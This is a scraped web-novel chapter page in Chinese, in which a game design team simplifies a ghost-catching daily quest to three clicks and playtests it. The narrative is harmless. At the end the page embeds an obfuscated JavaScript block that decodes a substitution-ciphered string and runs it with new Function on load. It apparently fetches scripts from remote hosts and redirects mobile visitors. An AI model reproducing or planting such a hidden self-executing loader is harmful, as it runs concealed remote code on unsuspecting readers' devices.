首页
第2257章 抓鬼与跑环的日
返回
关灯 护眼:关 字号:小

第2257章 抓鬼与跑环的日常史诗

章节报错(免登陆)

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第2257章抓鬼与跑环的日常史诗(第1/2页)
    梁永琪在会议室里把策划组的任务体系结构图用投影仪投在墙上。
    结构图分了两栏,左边写着“抓鬼”,右边写着“跑环”,两栏下面各自挂着几行细化的描述。
    她站在投影仪的光束旁边,手里的激光笔在墙上圈了两个词,一个是“限时”,一个是“每日”。
    “策划组最初的方案,抓鬼流程需要十步操作才能完成一轮。
    接任务、确认任务、传送、找鬼、确认目标、组队确认、进入战斗、结算、回到起点、再次确认。
    每一步都要鼠标点击至少一次,中间还有两个确认弹窗。”梁永琪把激光笔的光点从墙上移开,按了一下翻页,“我觉得太长了。
    你们昨晚的测试数据也显示,首次尝试的玩家有超过一半在第四步到第六步之间就点了取消。”
    坐在长条桌中间的策划组长把面前那份打印出来的流程图翻了个面,纸页背面用红笔划掉了几行。
    “我们复盘了测试过程,确认弹窗的触发频率太高了。
    玩家点完接取任务之后系统弹了三个确认框才让他看到鬼在哪里。
    第一次测试的时候我自己坐在那台机器前面,点到第六步的时候脑子里已经不太清楚我到底在点什么东西了。”
    “所以问题不只是步骤多。”梁永琪把激光笔的按钮按了一下,墙上的画面切换到一份测试反馈的汇总表格,“问题在于每一步的操作目的不够明确。
    玩家在第四步到第六步之间点了取消,不是因为他不想打鬼,是因为他不知道自己在干什么。
    每一步的意图被弹窗和确认框遮住了。”
    她走到会议桌的顶头,两只手撑在桌沿上,身体微微前倾。
    她的目光从策划组长移到旁边的数值策划,又移到坐在角落里的那个刚入职的关卡设计师。
    “陈浩昨天在电话里听我转述完这个流程之后只说了一句话。
    简化到三步以内,鼠标点三下就能开始打。”
    她把墙上的投影翻到下一页,上面画了一个新的三步流程图。
    第一步标着“接任务”,第二步标着“飞地图”,第三步标着“开打”。
    三个节点之间只有两条箭头,没有任何括号或者分支。
    “接取任务之后直接弹出地图传送选项,选中地图之后直接进入战斗准备,确认战斗之后直接打。
    中间不要有任何多余的确认框。
    接任务的时候系统自动判定组队状态,如果队伍人数不足就弹一次提示,弹完就结束,不要反复弹。”
    策划组长低头看着屏幕上那个三步流程图,沉默了几秒。
    他的手指在桌面上轻轻叩了两下,然后拿起笔在笔记本上画了一个新的流程草图。
    他画完之后抬起头来,眉头还皱着,但皱眉的方向已经变了。
    “那我们得砍掉一个确认弹窗和中间那个组队状态检查的步骤。
    组队状态在接任务的时候查一次就够了,进战斗之前再查一遍确实是冗余的。”
    “冗余的砍掉。”梁永琪说。
    旁边那个数值策划翻开了自己的笔记本,在某一页的空白处补了一行注记。
    “那任务奖励的结算逻辑要不要跟着改?现在的结算流程是在战斗结束后弹一个结算面板,玩家点确认之后才发放奖励。
    如果按新的三步流程走,结算面板是不是可以简化?”
    “奖励自动进背包,结算面板改成一条系统提示,右下角弹个滚动条就行了。
    玩家不需要为了拿奖励多点一次鼠标。”梁永琪把激光笔放回桌面上,“抓鬼的核心体验是快节奏重复,每一轮之间的间隔越短越好。
    玩家打完一只鬼,三秒钟之内能接下一只,那个循环感才能建立起来。”
    策划组长把笔记本上那个草图又描了一遍,这次他把每一步旁边的备注都标上了编号。
    他写完之后把笔记本转了个方向,推到桌子中间让其他人看。
    “接任务那里,系统自动判定组队状态这个逻辑,如果队伍里有人正在战斗中怎么办?是排队等还是直接弹提示?”
    “直接弹提示,告诉他队伍成员正在战斗中,请稍后再试。”梁永琪说,“不要搞排队等待,不要搞自动重连。
    玩家看到提示之后自己去决定是等还是退队重新组。
    这一步不要替玩家做决定,但也不要把选择搞得太复杂。”
    关卡设计师在角落里举了一下手。
    “那如果玩家在接任务的时候没有队伍,系统自动判定之后弹提示,这个提示是在接任务之前弹还是之后弹?”
    “之前。”梁永琪说,“点接任务按钮,系统先查队伍状态,不合格就直接弹提示,弹完结束。
    合格就直接接任务,弹地图传送选项。
    这样玩家不会出现接了任务才发现组不了队的情况。”
    关卡设计师点了点头,在自己的笔记本上飞快地记了几笔。
    他写完之后又抬起头来问了一句:“那传送地图那个选项,是弹一个列表出来让玩家选,还是直接传送到当前任务对应的地图?”
    “弹列表。”梁永琪说,“但列表里只显示当前任务可用的地图,不要把所有地图都列出来。
    玩家不需要在一堆无关选项里找那个能用的。
    列表里每个地图旁边标注一下当前队伍人数和推荐等级,玩家自己选。
    选完直接传送,传送读条结束之后直接进入战斗准备界面。”
    策划组长把笔帽盖上,把笔记本合起来,两只手压在封面上。
    “那战斗准备界面里放什么?现在那个界面里有确认按钮、取消按钮、队伍列表、怪物预览、掉落预览。
    按新流程走的话这些东西怎么处理?”
    “只留一个确认按钮。”梁永琪说,“队伍列表在接任务的时候已经判定过了,不需要再显示。
    怪物预览和掉落预览合并成一条简短的文字提示,放在屏幕顶部,字号小一点,玩家想看就看,不想看就直接点确认。
    取消按钮去掉,玩家想退出就直接关掉界面,系统自动判定为放弃任务,没有任何惩罚。”
    数值策划又补了一行注记。
    “那放弃任务这个操作,需不需要加一个二次确认?现在玩家如果误触了取消按钮,任务就没了,还得重新接。”
    “不加。”梁永琪说,“放弃任务没有任何惩罚,重新接一次就行了。
    (本章未完,请点击下一页继续阅读)第2257章抓鬼与跑环的日常史诗(第2/2页)
    加二次确认反而会让玩家觉得烦。
    误触的概率本来就不高,就算误触了,重新接任务的成本几乎为零。
    不要为了一个几乎不会发生的错误去增加所有玩家的操作负担。”
    策划组长把笔记本重新翻开,在某一页的边角上写了一个“OK”的手势符号,然后抬起头来看梁永琪。
    “那这个方案我们今天就改,改完之后跑一轮内部测试。
    测试的时候重点看两个数据,一个是首次尝试玩家的取消率,一个是连续完成十轮以上的玩家比例。
    如果这两个数据都达标,我们就推到外部测试环境去。”
    “可以。”梁永琪说,“测试的时候记得把战斗时长也记录下来。
    如果单轮战斗时间超过十秒,整个循环的节奏就会拖慢。
    抓鬼的战斗设计应该是快进快出,三到五秒解决一只,最多不要超过八秒。”
    策划组重新设计了抓鬼的交互逻辑之后在内部测试环境里跑了一轮。
    李轩坐在测试工位前面的椅子上,手里握着鼠标,屏幕上的角色点了接任务、点了地图传送、点了战斗准备,三次点击之后战斗开始了。
    屏幕上鬼的形象出现在地图中央,角色的攻击动作在鬼的身体表面炸开一串伤害数字,鬼的血条在三秒内归零,系统提示条从屏幕右下角滑出来:“战斗胜利,经验值加八百,金币加一百二。”
    他点了接任务,选了地图,点了战斗准备。
    下一只鬼出现了。
    他连着打了十一只。
    从第一只到第十一只中间的操作间隔加起来不超过四十秒。
    每一轮的战斗时间大约五到八秒,战斗结束到下一次战斗开始之间的间隔几乎可以忽略不计。
    他打到第十一只的时候把鼠标往前一推,靠在椅背里,两只手搭在椅子扶手上,看着屏幕上那个刚刚弹出的战斗胜利提示条慢慢滑走。
    “这手感和嗑瓜子一样停不下来。”他说。
    声音不高,像在跟自己说话。
    旁边那个戴棒球帽的程序员听到了,侧过头看了他一眼,然后转回去在自己的测试客户端上也点开了抓鬼的入口。
    梁永琪站在他身后,把这句话写进了自己的笔记本。
    她合上笔记本的时候看了一眼李轩屏幕上那条仍在滚动的战斗日志,日志里已经记录了十一轮战斗的完整数据,每一轮的伤害输出和战斗时长都被自动记录在案。
    她不需要问他对这个流程的意见了,那十一轮连续测试本身就是意见。
    戴棒球帽的程序员在自己客户端上打完第三只鬼的时候停了下来,转过头问李轩:“你刚才打到第十一只的时候有没有觉得烦?”
    “没有。”李轩说,“我要是没被你打断,现在可能还在打。”
    “那你觉得这个流程有什么问题没有?”程序员又问。
    李轩想了想,把鼠标重新拿起来,在屏幕上点了几下,翻到战斗日志的详细页面。
    “有一个小问题。
    你看这里,每一轮战斗结束之后那个系统提示条滑出来的位置在右下角,但是下一轮接任务的按钮在屏幕左上角。
    我的鼠标要从右下角移到左上角,再移到中间选地图,再移到右边点战斗准备。
    如果能把接任务按钮放在屏幕中间偏下的位置,或者把系统提示条改成从屏幕顶部滑出来,鼠标移动的距离能再短一点。”
    程序员把这句话记了下来,然后在自己的客户端上模拟了一下鼠标移动轨迹。
    他试了几次之后点了点头。
    “确实,如果把接任务按钮放在屏幕中间,鼠标移动距离能缩短大概三分之一。
    不过这个改动牵扯到UI布局的重新排布,可能要跟界面组那边协调一下。”
    “先记下来。”梁永琪在旁边说,“不用现在就改。
    内部测试先跑通,UI优化放到下一轮。”
    李轩又打了两只鬼,然后停下来。
    他盯着屏幕看了一会儿,突然说了一句:“这个鬼的形象是不是换了?之前测试的时候那个鬼看起来更吓人一点,现在这个看起来有点像……卡通。”
    策划组长正好从旁边经过,听到这句话停了下来。
    “换了。
    之前那个鬼的模型是临时从别的项目借过来的,风格跟我们的整体美术方向不太搭。
    现在这个是美术组新做的,考虑到抓鬼是一个高频重复的玩法,鬼的形象不能太吓人,否则玩家打多了会疲劳。
    现在这个卡通一点的,打起来心理负担小。”
    李轩点了点头,又打了一只。
    “确实,这个打起来没什么压力。
    不过如果全都是这种卡通风格的鬼,打多了会不会觉得无聊?”
    “所以我们在鬼的种类上做了区分。”策划组长拉了一把椅子坐下来,“虽然都是卡通风格,但每一只鬼的外形、颜色、攻击方式都不一样。
    你看你刚才打的那十一只,有没有发现每一只的出场动作都不太一样?”
    李轩回想了一下。
    “好像有。
    第一只是从地底下钻出来的,第二只是从天上掉下来的,第三只好像是突然出现在屏幕边缘然后飘过来的。”
    “对。”策划组长说,“十二种不同的出场动作,十二种不同的攻击方式,十二种不同的死亡动画。
    循环组合之后,玩家在短时间内不会觉得重复。
    但如果你连续打了一百只,肯定还是会腻。
    所以抓鬼这个玩法本身就不是给玩家长时间连续打的,它是日常任务,每天打几轮就差不多了。”
    李轩又打了两只鬼,然后停下来把鼠标推到一边。
    “我差不多测完了。
    一共打了十四只,中间没有卡顿,没有弹窗,没有让我觉得烦的地方。
    唯一的建议就是刚才说的那个按钮位置的事。”
    梁永琪把测试结果汇总了一下。
    首次尝试玩家的取消率从之前的百分之五十三降到了百分之七,连续完成十轮以上的玩家比例从百分之十二升到了百分之六十八。
    她把数据发给陈浩的时候在邮件里只写了一句话:“三步流程验证通过。”
    跑环任务那边的设计方向跟抓鬼完全相反。
    【跪求礼物,免费的为爱发电也行!】
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();